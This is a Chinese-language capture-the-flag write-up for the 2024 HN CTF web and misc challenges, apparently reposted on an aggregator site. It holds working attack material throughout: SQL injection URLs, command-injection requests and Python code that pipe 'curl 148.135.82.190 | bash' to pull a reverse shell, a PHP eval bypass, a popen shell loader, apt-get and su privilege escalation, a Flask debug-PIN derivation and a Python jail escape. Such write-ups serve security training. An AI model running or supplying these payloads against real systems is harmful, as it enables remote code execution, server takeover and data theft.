2024 HN CTF WebMisc 部分 wp

news2024/11/19 9:41:06

Web

ez_tp

判断是thinkphp 3.2
参考官方手册:https://www.kancloud.cn/manual/thinkphp/1697
判断路由模式

  'URL_CASE_INSENSITIVE'  =>  true,   // 默认false 表示URL区分大小写 true则表示不区分大小写

    'URL_MODEL'             =>  1,       // URL访问模式,可选参数0、1、2、3,代表以下四种模式:

    // 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE  模式); 3 (兼容模式)  默认为PATHINFO 模式

默认phpinfo模式 走路由模式
类似这种传参

http://serverName/index.php/模块/控制器/操作

Thinkphp3.2.x的SQL注入之前接触过利用数组传参绕过
本地调试可以得到SQL语句

"SELECT `username`,`age` FROM `think_user` WHERE `username` = 'admin' "

解法一:
原理分析参考文章:https://www.freebuf.com/articles/web/345544.html
构造数组传参即可 注意是单引号闭合

name[0]=test&name[1]=%3d%27J1rrY%27%20union%20select%201,flag%20from%20flag

直接打就可以了
解法二:
Runtime有缓存直接就是sql payload(多半测题时没有注意)
image.png

/thinkphp323/index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag

image.png
发现是可以直接进行union 注入
但是要绕过Waf 本地调试跟踪
(坑点)发现用 谷歌浏览器访问 时User-agent 触发 and关键字被拦截
image.png
此时的 User-Agent:""Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99""
考虑用python发包即可绕过waf
本地打通直接远程

import requests

url="http://hnctf.imxbt.cn:40197/index.php/Home/Index/h_n?name[0]=exp&name[1]=%3d%27J1rrY%27%20union%20select%201,flag%20from%20flag"

#files={'file':open("D:\\flag.txt","rb")}

headers={"Accept":"$get"} #实际没有

res=requests.post(url,headers=headers)

print(res.text)

image.png

ezflask

法一:
当成无回显RCE的题
直接反弹shell

cmd=__import__('os').system("curl 148.135.82.190 | b''a''s''h").read()

curl -T 外带即可
flag 位置:/etc/jaygalf
flag{846c6ed9-2563-4478-9ab1-8a3421a035ab}
法二:Flask 内存马
见笔记 [[Python Flask内存马]]

image.png

Gojava

存在信息泄露 /robots.txt
image.png

可以得到 旧版 main.zip 只有上传部分的逻辑
直接访问 main.go 被禁止
程序 实现了上传 Java 编译 class 打包 jar 返回
可能的后端逻辑

javac 实现编译
jar cvfe 实现打包

考虑直接 命令注入

黑名单处就是考点

为了绕过滤
{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}
尝试$()执行 内链执行

image.png

本地调试跟踪代码发现 filename中 /会截断 不能出现 / 否则截断字符报错
image.png

image.png

可以报错带出
image.png
直接curl 反弹shell

POST /gojava HTTP/1.1
Host: hnctf.yuanshen.life:33630
Content-Length: 346
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvv5bxA5dqzMWAKeU
Origin: http://hnctf.imxbt.cn:46625
Referer: http://hnctf.imxbt.cn:46625/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: GZCTF_Token=CfDJ8KQ4ggNBM-hBh6w4LqiKpqxHK9TcJaeuCyqmvImqaaO3gyj4TD0oOLXpGR0E3Jyocx1vRlRDPogYgJyGtUHLaqof45U1kU9-00K20K7On9ZYEX1qK9AhwHKOjNyvNHOEA1Ve_EYCtB-ILpkpxCjNYNBUZEOlipVQdwM7afZofWT3yhcuV0_xbyhyavsETa8db1ZMsgppzX_yrvwTrofl09egxXwFL0VrHq0f0FNmeg18Yc3xKrgbZrW0zzHOLOtHEsnyva0ocPLH-EzRldy8yfKqqrxKjDNQn0Jsxb7v-4rAQdQZwj0EhHXYcP0i-LBBrjXysJhzVKaA6D-V3GArEfcL-eYuJOgEaxjxxKtnJaMWTbwct3X32Wug7Q2K8fg4l3qQB7CPZBMRqn-5PEu9n7mC4YhL0YH0Od7vLzSdeOnxlZmKwQJAngxaWE6IVER3XRSSkJPFk3TZ0j4Kt0Toiicx114wzlb-wo_OVEMA3nVoATZI75RudP0BC0FrZWmkkpTnEX3Wtap67a9FxBQ5cXRlQ0LUB5ybY2MdETwKDkO_-lVAbAjA5qFZrbrbTq7dMu8smi2CtpFtP_3Vf-27F2zecCX-glrGHwY29Bz4rfx8aQwXNaht4376E2-KgPKAcstHQQ30X7ofu525Rr90TaFh0e08vWKgCy1Hx8nAMcE2BOcDURukaEskUQz8Gro9a0584-XC69dJlf4-As8TtOw
Connection: close

------WebKitFormBoundaryvv5bxA5dqzMWAKeU
Content-Disposition: form-data; name="file"; filename="$(curl 148.135.82.190 | bash)Main.java"
Content-Type: application/octet-stream

public class Main {
    public static void main(String[] args) {
        System.out.println("Hello gojava");
    }
}
------WebKitFormBoundaryvv5bxA5dqzMWAKeU--

直接弹了回来
image.png
看了下main.go 感觉出题人想 /testExecYourJarOnServer

// 执行.jar文件 这里可以直接反弹shell 

    cmd := exec.Command("java", "-jar", jarFile)

感觉非预期了
根目录下存在 memorandum 备忘录
得到字符 H2LvFxnWENLqVxE
image.png
死活提不了权限
最后发现 H2LvFxnWENLqVxE是root的密码
su root
image.png

main.go

package main

import (
        "fmt"
        "io"
        "log"
        "math/rand"
        "mime/multipart"
        "net/http"
        "os"
        "os/exec"
        "path/filepath"
        "strconv"
        "strings"
        "time"
)

var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}

func main() {
        // 设置路由
        http.HandleFunc("/gojava", compileJava)
        http.HandleFunc("/testExecYourJarOnServer", testExecYourJarOnServer)

        // 设置静态文件服务器
        fs := http.FileServer(http.Dir("."))
        http.Handle("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
                // 检查请求的路径是否需要被禁止访问
                if isForbiddenPath(r.URL.Path) {
                        http.Error(w, "Forbidden", http.StatusForbidden)
                        return
                }

                // 否则,继续处理其他请求
                fs.ServeHTTP(w, r)
        }))

        // 启动服务器
        log.Println("Server started on :80")
        log.Fatal(http.ListenAndServe(":80", nil))
}

func isForbiddenPath(path string) bool {
        // 检查路径是否为某个特定文件或文件夹的路径
        // 这里可以根据你的需求进行设置
        forbiddenPaths := []string{
                "/main.go",
                "/upload/",
        }

        // 检查请求的路径是否与禁止访问的路径匹配
        for _, forbiddenPath := range forbiddenPaths {
                if strings.HasPrefix(path, forbiddenPath) {
                        return true
                }
        }

        return false
}

func isFilenameBlacklisted(filename string) bool {
        for _, char := range filename {
                for _, blackChar := range blacklistChars {
                        if char == blackChar {
                                return true
                        }
                }
        }
        return false
}

// compileJava 处理上传并编译Java文件的请求
func compileJava(w http.ResponseWriter, r *http.Request) {
        // 检查请求方法是否为POST
        if r.Method != http.MethodPost {
                http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
                return
        }

        // 解析multipart/form-data格式的表单数据
        err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
        if err != nil {
                http.Error(w, "Error parsing form", http.StatusInternalServerError)
                return
        }

        // 从表单中获取上传的文件
        file, handler, err := r.FormFile("file")
        if err != nil {
                http.Error(w, "Error retrieving file", http.StatusBadRequest)
                return
        }
        defer file.Close()

        if isFilenameBlacklisted(handler.Filename) {
                http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
                return
        }

        // 检查文件扩展名是否为.java
        if !strings.HasSuffix(handler.Filename, ".java") {
                http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
                return
        }

        // 保存上传的文件至./upload文件夹
        err = saveFile(file, "./upload/"+handler.Filename)
        if err != nil {
                http.Error(w, "Error saving file", http.StatusInternalServerError)
                return
        }

        // 生成随机文件名
        rand.Seed(time.Now().UnixNano())
        randomName := strconv.FormatInt(rand.Int63(), 16) + ".jar"

        // 编译Java文件
        cmd := "javac ./upload/" + handler.Filename
        compileCmd := exec.Command("sh", "-c", cmd)
        //compileCmd := exec.Command("javac", "./upload/"+handler.Filename)
        compileOutput, err := compileCmd.CombinedOutput()
        if err != nil {
                http.Error(w, "Error compiling Java file: "+string(compileOutput), http.StatusInternalServerError)
                return
        }

        // 将编译后的.class文件打包成.jar文件
        fileNameWithoutExtension := strings.TrimSuffix(handler.Filename, filepath.Ext(handler.Filename))
        jarCmd := exec.Command("jar", "cvfe", "./final/"+randomName, fileNameWithoutExtension, "-C", "./upload", strings.TrimSuffix(handler.Filename, ".java")+".class")
        jarOutput, err := jarCmd.CombinedOutput()
        if err != nil {
                http.Error(w, "Error creating JAR file: "+string(jarOutput), http.StatusInternalServerError)
                return
        }

        // 返回编译后的.jar文件的下载链接
        fmt.Fprintf(w, "/final/%s", randomName)
}

// saveFile 保存上传的文件
func saveFile(file multipart.File, filePath string) error {
        // 创建目标文件
        f, err := os.Create(filePath)
        if err != nil {
                return err
        }
        defer f.Close()

        // 将上传的文件内容复制到目标文件中
        _, err = io.Copy(f, file)
        if err != nil {
                return err
        }

        return nil
}

func testExecYourJarOnServer(w http.ResponseWriter, r *http.Request) {
        jarFile := "./final/" + r.URL.Query().Get("jar")

        // 检查是否存在指定的.jar文件
        if !strings.HasSuffix(jarFile, ".jar") {
                http.Error(w, "Invalid jar file format", http.StatusBadRequest)
                return
        }

        if _, err := os.Stat(jarFile); os.IsNotExist(err) {
                http.Error(w, "Jar file not found", http.StatusNotFound)
                return
        }

        // 执行.jar文件 这里可以直接反弹shell 还缺提权
        cmd := exec.Command("java", "-jar", jarFile)
        output, err := cmd.CombinedOutput()
        if err != nil {
                http.Error(w, "Error running jar file: "+string(output), http.StatusInternalServerError)
                return
        }

        // 输出结果
        w.Header().Set("Content-Type", "text/plain")
        w.Write(output)
}

奇怪的网站

后台设置

Apache/2.4.25 (Debian)
PHP/5.6.40 版本较低

扫描后发现 存在

/404.php
/flag.php

/index.png 被当作 php进行解析 修改了默认apache .htaccess配置
存在vim泄露 对应文件名

import requests
chars="abcdefghijklmnopqrstuvwxyz"
for char in chars:
    url =f"http://hnctf.yuanshen.life:33492/.flag.php.sw{char}"
    res=requests.get(url)
    if res.status_code==200:
        print(url)
        break
    else:
        print(res.status_code)

image.png
访问 .flag.php.swm

echo 123;$num = $_GET['n$num = $_GET['num'];$$nu$num = $_GET[$nu$num = $_GET['$num = $_GET['num'];}           return $num == '11259375';        }                }                        return false;                {                if ( ($c >= $a) && ($c <= $b) )                $c = ord($num{$i});        {        for ($i = 0; $i < strlen($num); $i++)        $b = ord('9');        $a = ord('1');{ function check($num)*/you find me!/*

混乱的数据 要先恢复 vim缓存文件

vim -r flag.php
<?php

/*

you find me!

*/

 function check($num)

{

        $a = ord('1');

        $b = ord('9');

        for ($i = 0; $i < strlen($num); $i++)

        {

                $c = ord($num{$i});

                if ( ($c >= $a) && ($c <= $b) )

                {

                        return false;

                }

        }

           return $num == '11259375';

}

$num = $_GET['num'];

搜索关键字段
https://blog.csdn.net/qq_46389295/article/details/104467048
image.png
没p用
浏览器判断 数据包
image.png
首页存在302跳转
提示 :
image.png

image.png
404存在可疑的 头
用bp发包

Secret: After PUT, does the server write the file directly?preflight?
秘密:PUT 之后,服务器会直接写入文件吗?

答案是不会

预请求就是复杂请求(可能对服务器数据产生副作用的HTTP请求方法,如put,delete都会对服务器数据进行更修改,所以要先询问服务器)。

跨域请求中,浏览器自发的发起的预请求,浏览器会查询到两次请求,第一次的请求参数是options,以检测试实际请求是否可以被浏览器接受

考察 尝试更改method方法为 OPTIONS ,可以利用文件读取漏洞,读取.htaccess文件隐藏文件ggggoku.php,进行rce
image.png
可以接受的请求头
模仿 404.php的第一次预请求
image.png

猜测时传参 ?ff
image.png
可以读到源码

<?php
header("Secret:  After PUT, does the server write the file directly?preflight?");
$methodreq = $_SERVER['REQUEST_METHOD'];
if ($methodreq=='OPTIONS'){
    header("Cookie: ?ff");
    $file=$_GET['ff'];
    if(preg_match('/log|flag|session|http|=|file|:|\/|\?/i', $file)||!file_exists($file)){ 
        die('hacker!');
    }
    echo file_get_contents($file);
}

尝试读取 .htaccess文件

<FilesMatch "index.png">
    SetHandler application/x-httpd-php
</FilesMatch>
order deny,allow
RewriteEngine On
RewriteBase /
RewriteRule ^(.*gggoku)\.php$ ggggoku.php [NC]

ggggoku.php

<?php
$a=$_GET['a'];
if (isset($_GET['a'])) {
    if(preg_match('/`/i', $a)){
        die("nonono~~~");
    }
    eval('$b="' . addslashes($_GET['a']) . '";');
} else {
    die('RCE都不会了?');
}

?>

image.png
https://cloud.tencent.com/developer/article/1148417
在PHP语言中,单引号和双引号都可以表示一个字符串,但是 对于双引号来说,可能会对引号内的内容进行二次解释 ,这就可能会出现安全问题。

http://hnctf.yuanshen.life:33514/ggggoku.php?a=${phpinfo()}

PHP复杂变量绕过addslashes()直接拿shell
感觉有点像内联执行 可以不用引号

ggggoku.php?a=${eval($_POST[1])}

有一堆disabled_functions

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,scandir,putenv,error_log,mail,glob,show_source,include,require.include_once,require_once,opendir,readdir,rewinddir,closedir,stream_get_contents,file_put_contents,readfile,readgzfile,readgzfile,readlink,readgzfile,readgzfile,assert,fopen,fgets,eval,assert,fwrite,file_put_contents,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,symlink,lin,putenv,chroot,chgrp,dl,readlink|

进行正则匹配后发现
popen()命令没有被禁止 尝试

$command="curl 148.135.82.190/2 | bash";
$hane = popen($command,"r");
while(!feof($hane)){        
    echo fread($hane, 1024);  
}  
pclose($hane);

image.png
完美过关 内容见绕过笔记1
image.png

curl直接反弹shell回来
image.png

find / -perm -u=s -type f 2>/dev/null

image.png
唯一可以利用的是su 切换目录

find / -type f -user www-data -readable 2>/dev/null

没找到直接 linpeas信息搜集
image.png
特别注意标红内容

cat /home/admin/passwd

image.png
md5(goku): bef27466a245ce3ec692bd25409c2549
image.png
没有tty 不完整 不可以pty 如何处理

usr/bin/script -qc /bin/bash /dev/null

最终是提权到root superuser 不是admin哦
猜测密码是root的密码
image.png

GPTS

# CVE-2024-31224 RCE 利用分析
按他的步骤弹不起 是修改cookie后刷新在 加载已保存
注意一下是 用字节码可以在Windows上跑到

python3 -c 'import pty;pty.spawn("/bin/sh")'

查看 suid的敏感信息
1)命令 2) 文件
用linpeas信息搜集
image.png
涉及的权限和用户 ctfgame->ctfer->root
image.png
本地的gcc和useful software 命令
image.png
ctfer的密码隐藏在 mail中

find / -type f -user ctfgame -readable 2>/dev/null

查看 当前用户可读的文件也是一种方法
image.png
ctfer : KbsrZrSCVeui#+R
切换到ctfer

su ctfer

查看sudo特权

sudo -l

image.png

sudo adduser test -gid 0

/etc/sudoers 文件可能允许 root 用户组读取,但这并不意味着该组的成员具有与 root 用户相同的完全权限
添加到root用户组后 可以查看查看完整的sudoers
image.png

image.png
kobe用户 有 apt-get sudo 利用
image.png
考虑apt-get 提权
image.png

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

此时就是 root用户

image.png

flipPin

考点: cbc翻转+flask pin 码计算
cbc翻转 涉及密码学 只利用脚本
原题溯源: https://www.ctfiot.com/172434.html

from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode

import json

default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)


def encrypt(session):
    iv = get_random_bytes(AES.block_size)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))


def decrypt(session):
    raw = b64decode(session)
    cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
    try:
        res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
        return res
    except Exception as e:
        print(e)

app = Flask(__name__)

filename_blacklist = {
    'self',
    'cgroup',
    'mountinfo',
    'env',
    'flag'
}

@app.route("/")
def index():
    session = request.cookies.get('session')
    if session is None:
        res = Response(
            "welcome to the FlipPIN server try request /hint to get the hint")
        res.set_cookie('session', encrypt(default_session).decode())
        return res
    else:
        return 'have a fun'

@app.route("/hint")
def hint():
    res = Response(open(__file__).read(), mimetype='text/plain')
    return res


@app.route("/read")
def file():

    session = request.cookies.get('session')
    if session is None:
        res = Response("you are not logged in")
        res.set_cookie('session', encrypt(default_session))
        return res
    else:
        plain_session = decrypt(session)
        if plain_session is None:
            return 'don\'t hack me'

        session_data = json.loads(plain_session)

        if session_data['admin'] :
            filename = request.args.get('filename')

            if any(blacklist_str in filename for blacklist_str in filename_blacklist):
                abort(403, description='Access to this file is forbidden.')

            try:
                with open(filename, 'r') as f:
                    return f.read()
            except FileNotFoundError:
                abort(404, description='File not found.')
            except Exception as e:
                abort(500, description=f'An error occurred: {str(e)}')
        else:
            return 'You are not an administrator'






if __name__ == "__main__":
    app.run(host="0.0.0.0", port=9091, debug=True)

访问 /etc/passwd
image.png
当前用户是 ctfUser
传入错误session 使flask报错
image.png

#### /usr/lib/python3.9/site-packages/flask/app.py

/sys/class/net/eth0/address 获取 mac地址

image.png

02:42:ac:11:00:0d

尝试读机器码 存在黑名单

filename_blacklist = {
    'self', # 1 
    'cgroup', # cpuset
    'mountinfo',
    'env',
    'flag'
    # /proc/1/cpuset
}

读取相关文件绕过过滤

  • 过滤了self的时候怎么读 machine-id
    • 其中的self可以用相关进程的pid去替换,其实1就行
  • 过滤 cgroup
    • 用mountinfo或者cpuset
      读取 后半部分 /proc/1/cpuset
      image.png
a46c709c2b0dec51cc8596b90ff4cfa51dedf414ec23646f4d8430e03c86881f

读取前半部分 /proc/sys/kernel/random/boot_id

9fd11036-6c2e-41c7-bb26-7d358f670070

机器码就是

9fd11036-6c2e-41c7-bb26-7d358f670070a46c709c2b0dec51cc8596b90ff4cfa51dedf414ec23646f4d8430e03c86881f

计算后pin码是 101-622-803
image.png
flag 在环镜变量

Please_RCE_Me

PHP/5.6.40
低版本存在 preg_replace //e 任意命令执行

flag=Please_give_me_flag&task=phpinfo();

查看php的默认配置
array_map或array_filter绕过 做转接头即可

flag=Please_give_me_flag&task=array_map($_POST[1],$_POST[2]);&1=assert&2[]=system("cat /flag");

image.png

Misc

ezjail

import os

banner = r"""
__        __   _       ___            _____   _    ___    _   _  ___   _   _ 
\ \      / /__| | ___ / _ \ _ __ ___ |___ /  | |_ / _ \  | | | |( _ ) | \ | |
 \ \ /\ / / _ \ |/ __| | | | '_ ` _ \  |_ \  | __| | | | | |_| |/ _ \/\  \| |
  \ V  V /  __/ | (__| |_| | | | | | |___) | | |_| |_| | |  _  | (_>  < |\  |
   \_/\_/ \___|_|\___|\___/|_| |_| |_|____/   \__|\___/  |_| |_|\___/\/_| \_|

     _       _ _
    | | __ _/ | |
 _  | |/ _` | | |
| |_| | (_| | | |___
 \___/ \__,_|_|_____|

"""

badwords = ["all", "aiter", "any", "ascii", "bin", "bool", "breakpoint", "callable", "chr", "classmethod", "compile", "dict", "enumerate", "eval", "exec", "filter", "getattr", "globals", "input", "iter",
            "next", "locals", "memoryview", "next", "object", "open", "print", "setattr", "staticmethod", "vars", "__import__", "bytes", "keys", "str", "join", "__dict__", "__dir__", "__getstate__", "upper", "__all__"]

badchars = ['c', 'h', 'j', 'k', 'n', 'o', 'p', 'q', 'u', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
            'X', 'Y', 'Z', '!', '"', '#', '$', '%', '&', '\'', '-', '/', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '`', '{', '|', '}', '~', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']




class Jail():
    def __init__(self) -> None:


        print(banner)
        print("Will you be able to read the $FLAG?")
        exec(self.generate_dynamic_code())
        print("type 'hint' to get source code")
        while(1):
            print("> ", end="")
            self.run_code(input())

    def generate_dynamic_code(self):
        dynamic_code = ""
        flag_values = [ 70, 76, 65, 71]
        for i in flag_values:
            dynamic_code += f"self.{chr(i)} = {i}\n"
        return dynamic_code

    def run_code(self, code):
        if code.isascii():
            
            if code == "hint":
                print(open(__file__).read())

            if (all([x not in code for x in badchars]) and
                    all([x not in code for x in badwords])):
                try:
                    exec(code)
                except Exception as e:
                    print(f"something wrong \n{e}")
            else:
                print("Exploiting detected")
        else:
            exit("?¿")



    def test(self):
        print(dir(self))

    def get_var(self, varname):
        print(os.getenv(varname))



Jail()

最终实现 exec(code) 执行Python代码
存在几个没有上的有意思的函数方法

def test(self):
        print(dir(self))

    def get_var(self, varname):
        print(os.getenv(varname))

python中调用类中方法self.方法名

def test(self):
        print(dir(self))

输入 self.test()
image.png
有特别的提示
image.png
1 3 0 2 实际调用 dir(self) 列举了self`可用的属性 以列表形式返回

def get_var(self, varname):
        print(os.getenv(varname))

尝试读取 FLAG 环镜变量构造字符 FLAG

self.get_var(dir(self)[0])

image.png

print(dir(self)[1]) 
F

解决 数字和中括号的问题
[] 可以用属性 __getitems__()代替
可以搜索 bing 发现 __le__等的用法
https://blog.csdn.net/weixin_45081575/article/details/128729856
数字0-3 可以用 富比较构造出 0,1
image.png

image.png
+ 拼接即可

().__ge__(()) 1
().__ne__(()) 0
1302
().__ge__(()) F
().__ge__(())+().__ge__(())+().__ge__(()) L
().__ne__(()) A
().__ge__(())+().__ge__(()) G

dir(self).__getitem__()

dir(self).__getitem__(().__ge__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(())+().__ge__(()))+dir(self).__getitem__(().__ne__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(()))

image.png
可以成功拼接出FLAG
image.png
本地可以直接打通

self.get_var(dir(self).__getitem__(().__ge__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(())+().__ge__(()))+dir(self).__getitem__(().__ne__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(())))

很遗憾 n 被过滤了
无非换一种富比较即可
image.png

().__le__(()) 1 
().__lt__(()) 0
dir(self).__getitem__()
1302

F: dir(self).__getitem__(().__le__(()))
L: dir(self).__getitem__(().__le__(())+().__le__(())+().__le__(()))
A: dir(self).__getitem__(().__lt__(()))
G: dir(self).__getitem__(().__le__(())+().__le__(()))



self.get_var(dir(self).__getitem__(().__le__(()))+dir(self).__getitem__(().__le__(())+().__le__(())+().__le__(()))+dir(self).__getitem__(().__lt__(()))+dir(self).__getitem__(().__le__(())+().__le__(())))

image.png
官方题解用的是 python匿名函数进行拼接

self.get_var((lambda ab, ad, ae, af, ag, ai, al, am, ar, aaa, at, av, ba, bd, be, bf, bg, bi, bl, bm, br, bs, bt, bv, da, db, de, df, dg, di, dl, dm, ddd, dddd,dda: ad+af+ab+ae)(*dir(self)))
(lambda 对应参数形参: 返回表达式 等价于eval )(* 传入的具体参数实参)  
* 代表解包 
`*`:在函数调用时,`*` 符号用于解包(unpack)一个可迭代对象(如列表、元组等)的元素,并将它们作为单独的参数传递给函数

一个一个返回字符 传入 形参 构造FLAG

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1720702.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

cURL error 60: SSL certificate problem: unable to get local issuer certifica

本地小程序把接口换到本地的服务器接口&#xff0c;然后就报错了&#xff1a; cURL error 60: SSL certificate problem: unable to get local issuer certificate (see https://curl.haxx.se/libcurl/c/libcurl-errors.html) 经查询查到&#xff1a;此问题的出现是由于没有配…

第八十九周周报

学习目标&#xff1a; 论文 学习时间&#xff1a; 2024.05.25-2024.05.31 学习产出&#xff1a; 一、论文 SAN: INDUCING METRIZABILITY OF GAN WITH DISCRIMINATIVE NORMALIZED LINEAR LAYER 将GAN与切片最优输运联系起来&#xff0c;提出满足方向最优性、可分离性和单射…

数据资产价值如何评估?一文详解如何构建数据资产评估的综合框架

数据资产&#xff0c;如同其构成的数据本身&#xff0c;具备物理、存在和信息三重属性。数据资产的物理属性体现在其对存储空间的占用&#xff1b;其存在属性则体现在数据的可读取性上&#xff0c;若数据无法读取&#xff0c;则其作为资产的价值便无从体现。这两个属性共同构成…

LeetCode 算法: 字母异位词分组c++

原题链接&#x1f517;&#xff1a;字母异位词分组 难度&#xff1a;中等⭐️⭐️ 题目 给你一个字符串数组&#xff0c;请你将 字母异位词 组合在一起。可以按任意顺序返回结果列表。 字母异位词 是由重新排列源单词的所有字母得到的一个新单词。 示例 1: 输入: strs [“e…

centos7.9离线安装mysql5.7

centos7.9离线安装mysql5.7 查询mysql查询组查询用户不存在创建即可&#xff0c;创建mysql用户组上传下载的安装包创建my.cnf文件修改配置文件修改mysql登陆密码 centos7.9 mysql5.7 查询mysql rpm -qa | grep mysql我这里查询是不存在&#xff0c;如果你的存在可以用rm -rf […

云原生架构相关技术_4.服务网格

1.技术特点 服务网格&#xff08;ServiceMesh&#xff09;是分布式应用在微服务软件架构之上发展起来的新技术&#xff0c;旨在将那些微服务间的连接、安全、流量控制和可观测等通用功能下沉为平台基础设施&#xff0c;实现应用与平台基础设施的解耦。这个解耦意味着开发者无需…

ROS2在RVIZ2中加载机器人urdf模型

参考ROS2-rviz2显示模型 我这边用的solid works生成的urdf以及meshes&#xff0c;比参考的方法多了meshes 问题一&#xff1a;Error retrieving file [package://rm_dcr_description/meshes/leftarm_link7.STL]: Package [rm_dcr_description] does not exist 这个是urdf模型中…

react 怎样配置ant design Pro 路由?

Ant Design Pro 是基于 umi 和 dva 的框架&#xff0c;umi 已经预置了路由功能&#xff0c;只需要在 config/router.config.js 中添加路由信息即可。 例如&#xff0c;假设你需要为 HelloWorld 组件创建一个路由&#xff0c;你可以将以下代码添加到 config/router.config.js 中…

AngularJS基础语法(2009版本)

jquery和AngularJS 数据绑定和获取对比&#xff1a; jquery&#xff0c;要操作DOM&#xff1a; angularJS&#xff0c;无需操作DOM就可以进行动态数据变化&#xff1a; 要使用Angularjs就需要在html页面先引入&#xff1a; ng-app&#xff1a; html页面中&#xff0c;需要给…

html期末复习速览

一.基础标签 1.段落标签<p></p> 特点&#xff1a;分段分割 2.标题标签<h1></h1>……<h6></h6> 特点&#xff1a;文字加粗&#xff0c;单独占一行 3.换行标签<br /> 特点&#xff1a;单标签&#xff0c;强制换行 二.文本格式化…

数据结构与算法笔记:基础篇 - 数组:为什么数组都是从0开始编号

概述 提到数组&#xff0c;大家应该都不陌生。每一种编程语言基本都会有数组这种数据类型。不过&#xff0c;它不仅仅是一种编程语言中的数据类型&#xff0c;还是一种基础的数据结构。尽管数组看起来非常简单&#xff0c;但是我估计很多人并没有理解这个数据结构的精髓。 在…

ros DWA局部规划模块

ROS-DWA模块 主要流程DWAPlannerROS::computeVelocityCommandsDWAPlannerROS::dwaComputeVelocityCommandsDWAPlanner::findBestPathSimpleScoredSamplingPlanner::findBestTrajectory 调参技巧DWA被目标点过度吸引&#xff0c;且不听全局规划器指挥 消融实验goal_front_costs_…

写大型C工程makefile构建~

正文 最开始学习linux应用开发编写的时候&#xff0c;估计大部分伙伴们都是在一个目录里面编译整个工程&#xff0c;主要是linux通常没有非常合适的集成开发环境。 以前单目录的方式实在太过捡漏&#xff0c;在linux环境中进行C代码工程开发很多时候需要编写一个相对比较通用的…

android gradle8.3 发布插件踩过的坑

之前写过gradle6.x和gradle7.x的插件&#xff0c;会有一些改动&#xff0c;到8.x我发现又有一些变化&#xff0c;记录一下&#xff0c;防止后边再遇到相同的情况 下边是插件的gradle文件配置 plugins {id("java-gradle-plugin") //会自动引入java-library、gradleAp…

SwiftUI中Popover的使用(弹出方式,箭头位置,如何退出)

在iOS中&#xff0c;popover是出现在现有内容顶部的UI元素&#xff0c;通常用于在上下文中向用户呈现新视图。与其他占用整个屏幕的视图控制器不同&#xff0c;popover出现在一个较小的、集中的区域&#xff0c;从而使用户能够在必要时与popover外的应用程序的其他部分进行交互…

C#的web项目ASP.NET

添加实体类和控制器类 using System; using System.Collections.Generic; using System.Linq; using System.Web;namespace WebApplication1.Models {public class Company{public string companyCode { get; set; }public string companyName { get; set; }public string com…

国产飞腾/龙芯/瑞芯微芯片在信创行业应用:金融行业、教育行业、党政机关

党政机构 方案背景&#xff1a; 在国家提出信息技术应用创新发展战略的大环境下&#xff0c;政务大厅需要基于国家科技自主技术深入推进“互联网政务服务”。加快建设全国一体化在线政务服务平台&#xff0c;进一步落实创新驱动发展战略&#xff0c;提升政务网络安全保障能力…

智慧园区整理技术方案(ppt,软件全套建设方案)

